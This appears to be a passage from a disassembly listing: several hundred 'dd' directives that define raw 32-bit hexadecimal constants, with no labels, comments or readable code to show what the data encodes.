		dd 0E09C0CFBh, 0DAA40082h, 0DB3641E7h, 9900CFC4h, 29DF0447h
		dd 4861B077h, 4B007CA8h, 1D46B8B9h, 0AF00BF62h,	331921CBh
		dd 0A97BC2h, 0CCC7CF79h, 699FF6E2h, 4B115B03h, 0B0C34C04h
		dd 71D894A4h, 0E3D707C2h, 908A01BAh, 50FCAFD0h,	0DE005AE0h
		dd 3372B576h, 0ACBE53h,	0E21F1CCBh, 0C39AAFE7h,	5A5C840Fh
		dd 49E34021h, 3E01E6h, 0C14DEF18h, 68656AEAh, 6B2DC804h
		dd 0C2C32CF3h, 107FB2h,	505AFCB8h, 0E5947F71h, 89875D00h
		dd 0D018D74h, 23D200A2h, 3349F575h, 0C090FA59h,	0EBC40A13h
		dd 79A77480h, 3FEF0041h, 3E0E1FC1h, 6500C619h, 0E767701Bh
		dd 39D1521Eh, 238084FAh, 0BD3D6DB4h, 9A0026D7h,	5F120EC7h
		dd 0DA2085h, 2C493A6Ah,	57E6B89Dh, 0C817DBF4h, 69F02DBBh
		dd 7A1200E3h, 177DEDF9h, 0A1004EA5h, 0F504761Dh, 0F6C190Eh
		dd 0F430FC6Bh, 78620037h, 0B218D7E8h, 0A9762F6h, 3C7700E8h
		dd 0A0097A1h, 0F0E87F87h, 0DD4907F9h, 0F0195E7Ah, 0B6AD8933h
		dd 785B6E00h, 124B22ACh, 36F304CDh, 0C0255254h,	68733D35h
		dd 0D90093E4h, 0F480352Eh, 4D7943h, 7F04C7A1h, 10309ACAh
		dd 1592FD00h, 0F74BA7DEh, 0FC5F02A8h, 1F56E617h, 0B9897443h
		dd 89402C7Ch, 80608E32h, 0E77DBE8Ah, 306F004Bh,	924DC823h
		dd 0F0E5251Fh, 180B7F11h, 80012A61h, 19C22371h,	45751D2Bh
		dd 425D9CD5h, 897F4364h, 6700A05Ch, 0E2520EBDh,	70B041h
		dd 0DD212756h, 1FA82479h, 0CD542B00h, 0F3F776F1h, 290026Ah
		dd 0C9A4C287h, 7E86F440h, 0BAF6F200h, 3626FF33h, 0E5970750h
		dd 80FEC541h, 0DD083D83h, 560E4AE8h, 618ACDFAh,	0CF228BA2h
		dd 1D013438h, 0BFE165C5h, 0C14D8B7h, 1F1BAA2Ch,	0C3695601h
		dd 0A828D3CAh, 4906BB00h, 44F6D1B2h, 34009770h,	811B29A4h
		dd 37FE968h, 664F1FE1h,	0D3C8027Eh, 6200DACDh, 0B45D619Ah
		dd 0F4A5CF7h, 125149CEh, 75074C80h, 9100595Bh, 0EA391FEEh
		dd 536B08h, 8D71FFD5h, 45B03A73h, 2D9AC216h, 5C171800h
		dd 8166D4h, 96F561B1h, 9B1EC09Fh, 0ED0DD50Fh, 7D2E387h
		dd 1670CFB9h, 6809C6h, 3A60BF40h, 0DF52F18Dh, 376E9A00h
		dd 47FF6CB6h, 5D0B001Ah, 0A7E2B2ACh, 550045C1h,	0E65B50BBh
		dd 0FA66AD5h, 1493074Ah, 313944C0h, 0B50B4D86h,	32ADB2h
		dd 88C66409h, 353300EFh, 0EDF841BFh, 0A226B9C4h, 5025C2Ch
		dd 0C82ED385h, 0F44742Ch, 4D3F2847h, 550AAEE0h,	0AF0572ACh
		dd 2B26FC01h, 7800E0E3h, 500E241Dh, 8B0EE44Dh, 0A0EAE77Ch
		dd 4307FB51h, 0B80B081h, 0F9A03A6Dh, 0C1EBE800h, 624BC9AEh
		dd 4EDF9C81h, 0B4BFF864h, 0B51C80B0h, 27EB9841h, 0BED1D31Dh
		dd 0CCE293FAh, 2E267100h, 3C17A73h, 0D381996h, 17D82357h
		dd 257C62C6h, 0B270201Dh, 4D13DB47h, 379DED90h,	1F4200DAh
		dd 0D102C6B4h, 5EF02896h, 0FC41A00h, 64069A12h,	3E97EA5h
		dd 0FBE04531h, 21E8F51Eh, 3D00076Eh, 8425B87Eh,	3F150E20h
		dd 0AA00DE27h, 4769659Dh, 0D4F73394h, 9005CB86h, 0ABF23C48h
		dd 0E77278C0h, 0A7C7012Dh, 3F8C6688h, 0BB3F4CAh, 1C438A3Ch
		dd 0C140D12Ah, 3C47808Eh, 13D503FEh, 0D8700F31h, 83823497h
		dd 0F0C77FC8h, 9557C07Bh, 0DCC59D07h, 59D927C2h, 86450364h
		dd 43A8A5C1h, 8AEE8B30h, 3A4B5200h, 0D51D3436h,	8C733850h
		dd 5E9F6880h, 9B0198EEh, 0C0BC0B00h, 0CF0E4BDBh, 492C028Fh
		dd 3386BB45h, 0AD170C60h, 96B23900h, 0A974D2A6h, 45B60072h
		dd 0B8663FB9h, 1E0E33D3h, 0C10FD911h, 5FCB071Fh, 3E24070h
		dd 2856FFBh, 80D77727h,	0B892877Eh, 4163Ch, 0D8EAE454h
		dd 7A7C350Fh, 4D740050h, 9576B3DBh, 5200EECAh, 705F5809h
		dd 0F04C5A7Ah, 75381F7Dh, 9A9989E3h, 335F18D8h,	75E03460h
		dd 7F0A1h, 0B1D26F7Dh, 0AC12D6D0h, 9FC6F90Ch, 0B51806h
		dd 0E39DB6DDh, 1ABA020Ch, 8DB42700h, 0F54DA80Bh, 85220745h
		dd 0D0A1C3F2h, 2FE8C623h, 26CF844Ch, 0E00094AFh, 0ED8BF13Ch
		dd 0A39B1643h, 0B33E0382h, 0AEC0EA2Eh, 5F00C25Ch, 2F122102h
		dd 0EA49173Dh, 7BAF82Dh, 0CB066C0Bh, 2207E0CAh,	1300863Bh
		dd 345EDA3h, 343EF1h, 0C2392E7Ch, 0F55D659Ch, 5DB3107h
		dd 6FD0E56Dh, 30030826h, 8B1192E7h, 9A004706h, 0F967E1B3h
		dd 18F7AB7h, 0F6B0CF49h, 3B9D4375h, 77C16845h, 80873CD2h
		dd 8EE8F8AFh, 7DD61F0Eh, 1CF19E69h, 92EAC0D3h, 0E0518204h
		dd 0ECF8E6EDh, 803D6125h, 1B7CF804h, 0F88550F7h, 0BD8324F5h
		dd 39210007h, 37B056F0h, 2EE99D0Eh, 7F7BE0B8h, 0B8DD734Ah
		dd 9760055h, 3BFE8D63h,	3301755Ch, 31D979E2h, 2C386F10h
		dd 166CCE09h, 3FCF4000h, 0F0046E4h, 0CAE7611Ah,	7A15B44Eh
		dd 30FF002Ch, 0D065B7Fh, 0ADEA8A2Fh, 0A97466F8h, 73BD6200h
		dd 0F8241448h, 3F0D0350h, 11954907h, 0AFA00383h, 6D7C6FF1h
		dd 0F863D9FBh, 0CF003BBBh, 1A2CFC9Bh, 0E7967FBh, 0C2729323h
		dd 0B6847860h, 5003F3Eh, 0DB58857Ah, 902871F7h,	0A15400ABh
		dd 53C4DEECh, 50907D4Ch, 500BD176h, 40761158h, 1623C578h
		dd 805E35C3h, 6550B288h, 0F4729803h, 0E8D97CF5h, 4A0D325Ah
		dd 3110D775h, 7034B6D0h, 180030B5h, 81C25F5Eh, 9C3B0C8Ch
		dd 0DB4200C8h, 0A186D90Fh, 0E2CAF000h, 0FDEE6E22h, 80C40FB9h
		dd 34EC29A6h, 6703B162h, 35611296h, 7A43E70Eh, 0C34A02A5h
		dd 6FE85AABh, 2C6E0C40h, 8D056500h, 81E05248h, 1001B5BEh
		dd 389E46BAh, 15CC4D08h, 0D83524h, 0B5DD1780h, 0ED9DE1h
		dd 0CE620DEAh, 0CC1BA7F8h, 0A2B8540Ah, 7982DCFEh, 48459C0Fh
		dd 1E58C44h, 0B63C209h,	304ECBC7h, 9814E402h, 87C0DCh
		dd 0F0126702h, 1F44D39Ah, 44054384h, 0C039FFDFh, 0C667A809h
		dd 617E4D00h, 35E92417h, 67A91h, 0F7D65FE2h, 0BB7786FFh
		dd 0B7ECD216h, 0CB0A7003h
		dd 181CB033h, 0ABB203EEh, 7FFC2C64h, 6510B180h,	9D040701h
		dd 0E544172Ah, 6B2C0E3Bh, 0AC119802h, 0DCDDF800h, 0E15B00D3h
		dd 20173489h, 74019E14h, 0B739C595h, 8EF19C85h,	5F692680h
		dd 2B2C7662h, 1F9ABBA0h, 2E3A7A03h, 0F8BFB012h,	1EED11h
		dd 749F52DAh, 0EC4FC08Dh, 0F3C0BC91h, 2C56652Dh, 24690561h
		dd 5A4E0063h, 5DD9D878h, 71589C00h, 36FB37ACh, 566A1F2Bh
		dd 8329002Fh, 60F0C75Eh, 43A60100h, 0A17F4A4Dh,	911C003Dh
		dd 0CCD40D39h, 40039BDDh, 0D67C31A9h, 0C75990B3h, 0BE163A46h
		dd 346CB800h, 976AF24Bh, 60F81A60h, 877244h, 0F12725A6h
		dd 2BC5CC35h, 0A8763930h, 77C613FFh, 2DE9A033h,	0E36C0332h
		dd 83AB842Eh, 0C82FDB91h, 7901768Bh, 40E6B2DCh,	0BBD7D3DFh
		dd 5422F7B5h, 21E0F596h, 0C0FBA102h, 9D008FE7h,	6B99C5E0h
		dd 80E54h, 0DFEC0615h, 6922446Ah, 9E002079h, 0C776AC2Eh
		dd 4816C0h, 4F2C718Fh, 0F91B7099h, 0A8383201h, 0BE7DC984h
		dd 0E30B186Ch, 6F002630h, 80E6D939h, 94EFDD00h,	2AAFC1CCh
		dd 0EE19004Fh, 7A03D35Ch, 730EDE0Bh, 20BBB4B5h,	0F7B78CA4h
		dd 0CEC00708h, 0C066D021h, 5750D875h, 41B44700h, 0DA40994Eh
		dd 0D7280031h, 0D8957752h, 7E3FF1A4h, 1373A690h, 0BE390Eh
		dd 0ACCD0B3Dh, 0EF09004Fh, 0C8E6FB89h, 0A097E46Ch, 7A8EA994h
		dd 0F44004Bh, 4CA85193h, 241F26A4h, 528E7389h, 3AE0128h
		dd 12E4FD6Ch, 620516A2h, 85BA0020h, 709B611Bh, 0FD71D007h
		dd 0C3172974h, 755AE1E0h, 0EAB00048h, 0A758BBD7h, 9E008AB8h
		dd 31274D49h, 4C3A8086h, 0EC000A57h, 8ABC5156h,	6A010882h
		dd 1A0CB749h, 2EFCBFE5h, 0AFBB26F3h, 2FCA0084h,	15B29EE8h
		dd 50DC9400h, 7AB586A6h, 85E300AFh, 7BDFD03Dh, 360573E7h
		dd 24229846h, 89D8B0h, 488B04Bh, 53B36F47h, 0CF0079EAh
		dd 9C4274B6h, 3A576Dh, 0F3EA6E3Eh, 0FA1FBCF5h, 8FE31100h
		dd 71C2943Fh, 18970907h, 0C078ABE9h, 1189211Fh,	8C057013h
		dd 0CF83A788h, 5B37E00Ch, 0EF780074h, 43D516DBh, 0D4FD33FDh
		dd 0BA50B556h, 3F002EA4h, 9750F423h, 9B4796Ah, 0A7AFC434h
		dd 8DF64F80h, 4E07A344h, 52B74D48h, 9B81640h, 2E4000F7h
		dd 2205BE28h, 101D4794h, 4880275Bh, 0ED0C09F6h,	85FECEh
		dd 7E04A9D3h, 72213AFFh, 1484F5Ch, 0B2A0623Dh, 2CF40E9Eh
		dd 16D8B2C6h, 0A0805485h, 0DF4CE354h, 7CDC0745h, 0B841BB35h
		dd 40A4B0B3h, 147614FAh, 0B6A5B703h, 0B9A0E4DCh, 884CBD01h
		dd 5C8200EAh, 0F60CB404h, 55078E2h, 0D1389EC0h,	928C041h
		dd 5700CA5Eh, 0A0B23BCCh, 0A3AB0B96h, 0D8E3F340h, 3E7687B0h
		dd 6C007835h, 3BDA829Bh, 82B8CFCBh, 0F7206A01h,	23E721B3h
		dd 9DD0A4EDh, 0B88428F9h, 60F70024h, 6C76F5D5h,	3D74181Dh
		dd 0C06BA20Bh, 0C85278h, 274CBB67h, 0CE2D4E9Dh,	773A250Eh
		dd 0B73DA268h, 3997C026h, 7D4D1F14h, 0E7FAC08Dh, 0D678FB88h
		dd 6D5D6903h, 0FFB05F7Eh, 791E7080h, 6A708Eh, 0A1DBB40Ah
		dd 3E6B8C52h, 6FC1440Eh, 575CE98h, 0BC808845h, 0CCC4Ch
		dd 2B3E4DB3h, 505744FAh, 0B700FC76h, 90D10EF8h,	4F75DDh
		dd 69A24034h, 2BFED33Eh, 0BCF15A02h, 0D648F9F2h, 0F39B0030h
		dd 43E08A1h, 7BD55202h,	0D6D9FE40h, 8A5A0038h, 503CEEDDh
		dd 21A0C600h, 0E441BD95h, 675C0308h, 393B0A3Eh,	98DEADD2h
		dd 34636680h, 36842D8h,	322E523Eh, 3C07B505h, 6381B9A9h
		dd 0E81FE4Bh, 314009ADh, 0A580511Dh, 244F2E3Ah,	238068A2h
		dd 79870A2Fh, 18A10A13h, 0DEA6C3h, 30C4D126h, 42003E55h
		dd 4859B0BAh, 0A810BBh,	0B72C32F4h, 0E9FC884Fh,	0D8071607h
		dd 71D0D477h, 0E0A8B03Dh, 98C9006Ch, 263A99C0h,	790089D0h
		dd 0BD07EB64h, 372CE71h, 0D33C9D9h, 9AB0AA35h, 274C5F82h
		dd 0A97400A7h, 0A11F7B5Bh, 78D7000Eh, 85B96D79h, 2200CBBBh
		dd 0C682ABC1h, 20FE9Dh,	26FF5DCFh, 506A75CEh, 9270292Eh
		dd 0EC141900h, 84CC38h,	0B4051253h, 472755D6h, 87B11500h
		dd 5FADA221h, 24E300F9h, 25CAE7C5h, 6D00FFE2h, 0CE15CB37h
		dd 0E43A1A05h, 6C4500B5h, 84D9E803h, 390470B2h,	0C5B6E999h
		dd 0D80E2083h, 525366h,	1E301A11h, 85A5A845h, 54C74A00h
		dd 0D56D061Dh, 4F070020h, 29229116h, 12002CFDh,	0C8F23F43h
		dd 4A21DCh, 0F53E39FBh,	0F7485589h, 111FC77Ch, 28402F1Eh
		dd 664C9293h, 519D00EEh, 41078563h, 0B10068F6h,	3E1A3DB5h
		dd 1802F7Ah, 1E878B27h,	9F7EFB42h, 0C2C0BC60h, 0D06D8C5Eh
		dd 6953B2Fh, 2EC50F77h,	0CEE04441h, 0C69A0C69h,	0A0FA6160h
		dd 24EF199Dh, 1F834Fh, 2867CD08h, 21005B6Fh, 0C7FDD36Eh
		dd 83726Dh, 953A74B2h, 0C9E6443Bh, 2C9FC80Fh, 7B464073h
		dd 0F9E1A27h, 0AEA05AF3h, 21C05761h, 3E83D041h,	0E300137Ah
		dd 311440Eh, 6CBA70B1h,	17205063h, 8901C175h, 3BCBA0CCh
		dd 23D87346h, 53E501A2h, 0D3523348h, 0C7240054h, 3A2F00EFh
		dd 1F039A91h, 61006F82h, 588B0526h, 1EB4A5BFh, 0FB0B30F4h
		dd 5937BE07h, 0D8C880B7h, 9900AFFEh, 5C5A158Eh,	1542BECh
		dd 0EDC1E648h, 9C66EEBFh, 26401390h, 0D05AB250h, 0E6B30787h
		dd 90813836h, 8E753227h, 79B8D200h, 1035CF3Dh, 0ED57054Bh
		dd 1203872h, 52C60A84h,	3303207Fh, 1F98120Ch, 57B41059h
		dd 0CAE00458h, 577C48DBh, 0BF09D900h, 0AE9AADACh, 0B2E6C2h
		dd 776CD12Fh, 0A40AC485h, 9E286D6Eh, 5A22AE10h,	878C3F00h
		dd 1A78B90Ch, 483C0334h, 0F56CF495h, 5389B2A0h,	22612000h
		dd 2A6918D9h, 0DAEE6Ah,	41CCE15Eh, 0CECAF6E0h, 0D3C20E00h
		dd 0E2C08545h, 0F7E86Dh, 0C63EAA2Fh, 0AC42F37Bh, 0A09ACC1Eh
		dd 46E2C281h, 6771E726h, 49C477C5h, 0EFC74h, 58DDCE48h
		dd 0CC149513h, 4CF26A0Dh, 0D740106Ch, 0B0C334E8h, 0FAD918A4h
		dd 0D065CCB7h, 8347A700h, 537351AFh, 0AA80009h,	0D224B7EFh
		dd 9CA0BCD1h, 0CD0E8C02h, 0E1B0F993h, 80ED5DDDh, 0FF8160EEh
		dd 342A00E2h, 60ACB1EEh, 2400613Fh, 0C4F81D1Fh,	337362Ch
		dd 2DF447E8h, 2E079E7h,	5F082D4h, 2688F300h, 7F33D50Ah
		dd 3AB900C1h, 79E3B0Fh,	15002254h, 70167232h, 7FD8F18Ah
		dd 0C8E60063h, 789C2BDh, 1E1D25E1h, 0D3C3796Fh,	0A14134F2h
		dd 0FC0AFD1h, 4F4907E3h, 0D9DCA6F4h, 641F8A80h,	1DE22A71h
		dd 0A504700h, 3DD67607h, 8FE8C0CDh, 7D6D29B7h, 1B548301h
		dd 0A1E4C262h, 5B68F4h,	0EF0935D1h, 0E9BE4BFCh,	0BA334600h
		dd 56BD760Ah, 6C360016h, 4BAADE0Dh, 0ECF4F01Fh,	0B000390h
		dd 17D8F40Eh, 0F642CFCDh, 3770009Fh, 494526E5h,	861DC63Fh
		dd 0C100573Bh, 1E78BB4Bh, 0C8C3387Eh, 0AB9D408Fh, 4704B180h
		dd 0A41DA8B3h, 82403E45h, 0A27D1DD7h, 66C0F57h,	0ED800377h
		dd 67FAB05Dh, 1B7EE300h, 480F1859h, 0D5CD13E7h,	830B00DFh
		dd 5BC3134h, 26D7E903h,	0F059C496h, 0EAACE706h,	2CC500FBh
		dd 72DAF391h, 0A6007D4Ch, 0AEE411B7h, 2620E024h, 0D31574h
		dd 41F598C1h, 5800AA4Ch, 12ABAC81h, 0E2EA714Bh,	9514002Dh
		dd 0F2E1A920h, 1300AFEFh, 1694D2A0h, 0FBF6A7Ch,	7AC3D4AAh
		dd 0BE52D600h, 740091D7h, 0D4E1E79h, 0A0383D2Fh, 0FDB394h
		dd 87BDEF56h, 2522594Ch, 9C001870h, 7466B7AEh, 1C9F4981h
		dd 0C08F501Ch, 3C777907h, 12F0C478h, 0B1BC8400h, 822B8860h
		dd 280A90D4h, 9031FDh
		dd 52BF3D23h, 453A2966h, 1600407Ch, 0BA35824Eh,	0FFF21285h
		dd 80DCA421h, 897639B2h, 93C6ED80h, 40772110h, 3CE5E100h
		dd 0CBAE86D4h, 7CF8008Dh, 0B032EA5Bh, 6A1EFFB2h, 1F4089EDh
		dd 0D99A8584h, 0F6D800FBh, 819052FAh, 0E400CE1Eh, 0CD7C8B8Fh
		dd 9F0A82Ch, 58B3B5C2h,	931B1C30h, 23D3E700h, 8F7D8B49h
		dd 1C371EF1h, 642440F2h, 0D08227B7h, 0FE6A0700h, 64AA22Dh
		dd 221D00F9h, 533EE41Ch, 0A60CBF95h, 60B66E74h,	6279EBh
		dd 13C6759Fh, 6DAFB580h, 27C08400h, 0D4E585E4h,	575C2CB0h
		dd 2B2A00B2h, 0A2FCA990h, 16AC7300h, 116EE766h,	37670056h
		dd 34449836h, 33013A7Ch, 89B07E49h, 0B5C0BD20h,	837514h
		dd 0D1B88B65h, 1D49A10Bh, 0AB998A00h, 14A3520Eh, 74CFA51h
		dd 0E2961A3Eh, 0C0E62086h, 0F07E3A8Fh, 3137FD30h, 0A93036h
		dd 1C5E18BCh, 905DA04Dh, 0D8AF8800h, 4607EDB3h,	97E060h
		dd 77741E76h, 93F0B5AAh, 5DB8AE00h, 0F2953063h,	0BCDD0081h
		dd 46FD645Eh, 1E096137h, 20C7E097h, 0E5237810h,	0B5F63A8Bh
		dd 5ABBC200h, 0E21CB44Fh, 28455E0Fh, 142AA181h,	0FBD0D7A1h
		dd 0CB940557h, 0C340EE9Dh, 0DDF05B10h, 0F700AAC7h, 0FEF9BEC1h
		dd 711666h, 3E766534h, 0D1D058D4h, 1D512100h, 0E8884814h
		dd 100F07A7h, 9BD6BCCEh, 5A6E5406h, 0A80066F6h,	92B5759Ch
		dd 7D28784h, 14AE6F93h,	3F016019h, 0D0E41D45h, 4737EC00h
		dd 4B3C728Dh, 449600FCh, 0B9E527D3h, 0BFF68560h, 3BCE871Dh
		dd 0AA224E40h, 124F2880h, 0A0FA51h, 0AD19C874h,	7F0039FCh
		dd 9BA5B599h, 0F752C69h, 7C77AE42h, 0F6EE0120h,	1E3CA213h
		dd 0C0F38559h, 0BC902231h, 74365A34h, 0FD3300D3h, 458BF829h
		dd 0E449FF9Ah, 47D71DF0h, 52034424h, 0A88B31D0h, 99BEEDAh
		dd 42F6FC82h, 0BDBB7480h, 4D0062DEh, 0D2A1F043h, 75C0DDE2h
		dd 0F1AC00EFh, 1BB540E0h, 2600711Eh, 28BAB311h,	90030E64h
		dd 0DF5E0544h, 8FD337h,	0BA513B9h, 100FE35Ah, 8F272BFFh
		dd 0E1380040h, 33CB51FBh, 0CD3802F2h, 0EB8E0EB8h, 3DC20902h
		dd 0E84D05B9h, 0DB4C28h, 92B026BBh, 0B16C8C75h,	62848003h
		dd 0E0715E9Ch, 9F5D36Eh, 4167AC57h, 2FE0FF00h, 0F9000351h
		dd 0BE11B2C7h, 7DF1523Bh, 0FCB92859h, 1C6AECA8h, 18B675D5h
		dd 767F10B1h, 0F8BBDF00h, 685DA47Ah, 462F31F6h,	0CD203589h
		dd 2BC4CCC8h, 21293Ah, 12A2DA81h, 0C05747B9h, 965D3328h
		dd 550069D1h, 0E7253E5Bh, 5F47EA5h, 0E9A0C628h,	0F2D20B58h
		dd 0C5079890h, 75D3D000h, 35EDC2F6h, 0E5AF0048h, 9B50F944h
		dd 0C04CF81Ah, 15D70024h, 3E7F5698h, 0CD4E143Dh, 0D005CA4h
		dd 0A2786B31h, 0A614C629h, 21C1B32h, 82685270h,	4B818564h
		dd 0B10D6803h, 2C9000C8h, 9C4ABE89h, 0C20020B2h, 5C3D808Eh
		dd 3C73EDh, 5551D3F5h, 57887D96h, 8BDAF200h, 3784D62Bh
		dd 0A6500077h, 15B265AEh, 0BA00C923h, 8336590Bh, 0E747E3h
		dd 0A5CFD9DFh, 0B7902960h, 9AA70200h, 0AB8A7F4Fh, 93746Dh
		dd 0FAD614F9h, 0EAB1C67Dh, 76BF0800h, 3126653Ah, 8CB40715h
		dd 0D0BC22E7h, 6FA9C9E8h, 9690627Dh, 1AA1F700h,	0F67C690Ah
		dd 31BFAABh, 7FC603Fh, 40F91751h, 2EA03A1Eh, 728B0737h
		dd 302E1144h, 881A5E60h, 477CEDFCh, 48804Ch, 5D81207Fh
		dd 1D7E654h, 218B26FAh,	9C7BE1CAh, 0D003121h, 4D83AC61h
		dd 79B32493h, 1AB80C1Ch, 9600E420h, 0A0088D7Bh,	0E1D778h
		dd 195AF0CDh, 95293FE7h, 26E05D1Dh, 7F5C1A79h, 8301558h
		dd 87601B1Fh, 0B72E94h,	5A12EE8Bh, 23C7529h, 0FCC13228h
		dd 362659C1h, 0AC1301A9h, 0E53E6DD0h, 0B144F8EAh, 23908846h
		dd 0FD887600h, 692DEC7h, 97E4188Ah, 3D8950BAh, 0AEEC931Eh
		dd 80889C0Fh, 0B55A3BAAh, 400360FEh, 0CFA0D491h, 88BAA900h
		dd 9B32B3C9h, 0DCB42537h, 0E4863880h, 0BA000FD0h, 0EEB590ECh
		dd 0F68DB805h, 5C80835Bh, 300DB61h, 28DE9648h, 0EBCA5CDh
		dd 31DD272Eh, 0C2060883h, 405FE099h, 12CFD0A8h,	6C5A8E24h
		dd 3CBEB880h, 1E10FBAh,	5BC96A50h, 80A555D5h, 35AAC221h
		dd 799E2658h, 6BE90195h, 0A09D3BB1h, 0ED088C9Bh, 54D8B0h
		dd 0A839C11Ah, 0D1E52CA6h, 0BB016007h, 0B9C07EA9h, 3C5F2B5h
		dd 3DACFF53h, 67E89B2Dh, 3007A5D1h, 2ABE6604h, 4C6425F0h
		dd 0B25F0094h, 69E9BD07h, 98A2AA0Bh, 409EC30Eh,	0FFFA48BFh
		dd 0EF001C4Bh, 0BAABDE1Bh, 12B7241h, 0F3FCB544h, 0D0756436h
		dd 9401D35Eh, 0CAE70181h, 0C06FD2C7h, 53D4119Ch, 0FF547E1Fh
		dd 348FF383h, 225C981Dh, 0CEF8E5h, 0B7671F9Dh, 4478A4B5h
		dd 65835200h, 81C28253h, 4062033Ah, 4B93DB0Ah, 0B3601DE2h
		dd 3007EB5Ch, 902D11F6h, 13696CE0h, 0B99B00C8h,	28C1B176h
		dd 3600CB2Ah, 0AD063BCCh, 3F8385h, 0B98B3942h, 0F9B1E5CFh
		dd 0D42C4F03h, 536A4Ch,	0BAED7118h, 132627D2h, 0C5284D07h
		dd 0D4F00E97h, 5CD098h,	27AD8D50h, 54EFC874h, 90658C00h
		dd 2F391586h, 0A4B800EDh, 0BB368F1Ch, 0A200C847h, 0B6ADE37Bh
		dd 23C06Dh, 0DFB45CD4h,	85ED6743h, 0A7708100h, 99E4A188h
		dd 15F300DAh, 6890848Fh, 7800EC25h, 0B4053AADh,	0B7BAEEh
		dd 3296B8Dh, 0D75D1467h, 0CA4FC900h, 98290CCh, 841C5075h
		dd 9FF90088h, 0B61D4E3Fh, 2D7C6223h, 76495E00h,	7226C82Ah
		dd 0BC123EC1h, 0D7DA2F80h, 0FF134D7Eh, 0A05FFD07h, 7206F03h
		dd 0E96C04h, 0A6B7BE33h, 103D4475h, 9E779800h, 0D27B94D7h
		dd 47AE00C9h, 0E5FE927Dh, 7600A230h, 4BA4FC7Ch,	3D41F5h
		dd 0AAF283C6h, 0F1457AD0h, 0B57B0D1Dh, 0E087240Eh, 17965C58h
		dd 0FD5E032Ah, 47A87C94h, 0C74E5FF8h, 78997203h, 0E8C3C98Eh
		dd 68F96Ah, 0EB5D9B7Fh,	36804AE1h, 0DC72F400h, 0B014F697h
		dd 0DD470028h, 968D21FEh, 0B101D7E5h, 0ED5BBB99h, 0AEC44542h
		dd 24BF00F3h, 6C03FBE9h, 5D003502h, 3F71CBE1h, 7F33C8h
		dd 8EB932FDh, 289B810h,	0D0C008EAh, 0D3336D77h,	7BD53036h
		dd 3952EB90h, 9769B03h,	0C089A1h, 50A40DA8h, 0FC45FB87h
		dd 67A2E109h, 0AB540044h, 245FF8h, 0FD9A405Bh, 0F186E8B4h
		dd 3DF5AA00h, 2FE44513h, 0BBE1715h, 0D4DE0097h,	5A4387F4h
		dd 0ACCB9A0Eh, 25D8811Fh, 972062EAh, 915B00DFh,	4264BB87h
		dd 3F00FE20h, 36FA6DCCh, 1C04ECE7h, 4716659Ch, 0C0C809D8h
		dd 7AC6DCFBh, 984FB700h, 84EF3FDDh, 7DE3FADBh, 3C3EA25h
		dd 0E9F19585h, 5AE003C2h, 3D0081C5h, 716E4BE7h,	7B2013h
		dd 8CA2CD73h, 86BE311h,	0DFD4C200h, 0B2E479A7h,	7800034h
		dd 5E73D9BCh, 3D01D206h, 0BE18383Bh, 0AAECC483h, 7D8B00B8h
		dd 0AF30B184h, 2C70CC41h, 127D60EDh, 0D9F07F60h, 2AA4AEh
		dd 6EC32122h, 68DF325Ch, 5A7B5400h, 8B0709Ch, 72920074h
		dd 240509C9h, 0C8001F20h, 293D5A28h, 0F9DBA7h, 3488134Ch
		dd 71177A31h, 1485044Ch, 5098DACEh, 0FA00F6AEh,	453CDC66h
		dd 3ED2B47Bh, 30580A0Bh, 0D9A9A500h, 0D08905C9h, 0B56E8C00h
		dd 0F4FDE113h, 59412CE6h, 10DE0433h, 9F5C043h, 95305B8Dh
		dd 0EE4E400Fh, 30A0009Ah, 59B986BCh, 3F009088h,	6AA5E864h
		dd 761D4910h, 6B480193h, 40B74ADh, 7211E49Eh, 0C13BBD00h
		dd 0CC291A0h, 0E96300D3h, 0C0B42995h, 5705EAA6h, 0DFBCE567h
		dd 0E03DE980h, 562B8D2h, 962D4742h, 0D4830098h,	0C40D4A01h
		dd 0DEBA0801h, 0E5328E9Ch
		dd 4360F8h, 0BDB22D76h,	0EE7ED882h, 1A424F00h, 0AF51A773h
		dd 46B18CEh, 0C49A9876h, 0D8C0B974h, 0DE6C09A2h, 0C911C09Fh
		dd 0EFC05F26h, 0C2E04898h, 6839E500h, 481B5552h, 1A7B00E4h
		dd 18F84412h, 7D1641DEh, 74002687h, 35574840h, 142A00F5h
		dd 0E7438886h, 8F392CFFh, 62B58779h, 3F0C5AAh, 749E9Ah
		dd 6D2D8AC6h, 0A3AECD0Dh, 327ED107h, 0DD31F095h, 0F7E4859Bh
		dd 0EC0D0034h, 8862D771h, 1DF0E22Dh, 36C0140Fh,	1350F70h
		dd 2C5EB133h, 0A5941E60h, 59488420h, 9668308Ah,	0B5700FBAh
		dd 7B8E89DDh, 30DFEDC6h, 77B14100h, 0BE9D99B4h,	0A8B3004Bh
		dd 0E9EC0BCBh, 5B63744Eh, 909A7248h, 30ABB9EEh,	57F23FC5h
		dd 0AA1E50F3h, 2E00417Fh, 0D40B2D01h, 96D062Fh,	867853Ch
		dd 0C76FDD00h, 0D2DBE08h, 8B1824EEh, 75860097h,	799CF75Ch
		dd 0DD3A3D07h, 7012665Dh, 30A48027h, 5BFAE1h, 526E9CC5h
		dd 0E3096CE8h, 0D7A17118h, 0E8E75EE0h, 0D2F0049h, 3A785960h
		dd 8D0CE9E8h, 0B83080E6h, 83451FBBh, 1055008Ch,	0A50E329Eh
		dd 1806E56h, 0CD94AEC0h, 1A4C2Eh, 0ADC171C0h, 415F39h
		dd 5DDF23FFh, 589DA296h, 0EF93CB2Ch, 0F01CF204h, 7511C780h
		dd 278EE6Eh, 0B92C7177h, 45E064C3h, 960F3FD3h, 206D14F1h
		dd 0CFDFFEAAh, 6E80004Eh, 0D829C22Fh, 567CF788h, 33C5B0A0h
		dd 3762EC0Ah, 0E47020D7h, 701F8C4Ch, 2A07FF94h,	0EBC07A52h
		dd 15259E19h, 0D031EF0Bh, 41281Fh, 649D7061h, 29021F3Ah
		dd 0BC353698h, 72DC8008h, 0F08980A5h, 5EE18D7h,	0CF3D383Fh
		dd 3241120Ch, 12811066h, 807AE648h, 0B70F0ED4h,	6E686B00h
		dd 0F2DF9A04h, 2B03395Eh, 1F930C80h, 7F01F641h,	0F74DC400h
		dd 92793D31h, 60C56054h, 57EE3422h, 285E5A0Eh, 3B4C608Bh
		dd 62E0490h, 0E27B92AFh, 9500786Ch, 3508BE91h, 3D325124h
		dd 0AD80669Eh, 0A370AC2Bh, 1C610B7Dh, 0F7CE85C8h, 78FA08F0h
		dd 5C6C0031h, 3A294C61h, 7107F6F2h, 7D18F365h, 0ED6003D0h
		dd 47A406AAh, 0F00B9189h, 52008BFEh, 8305722Eh,	7129155Bh
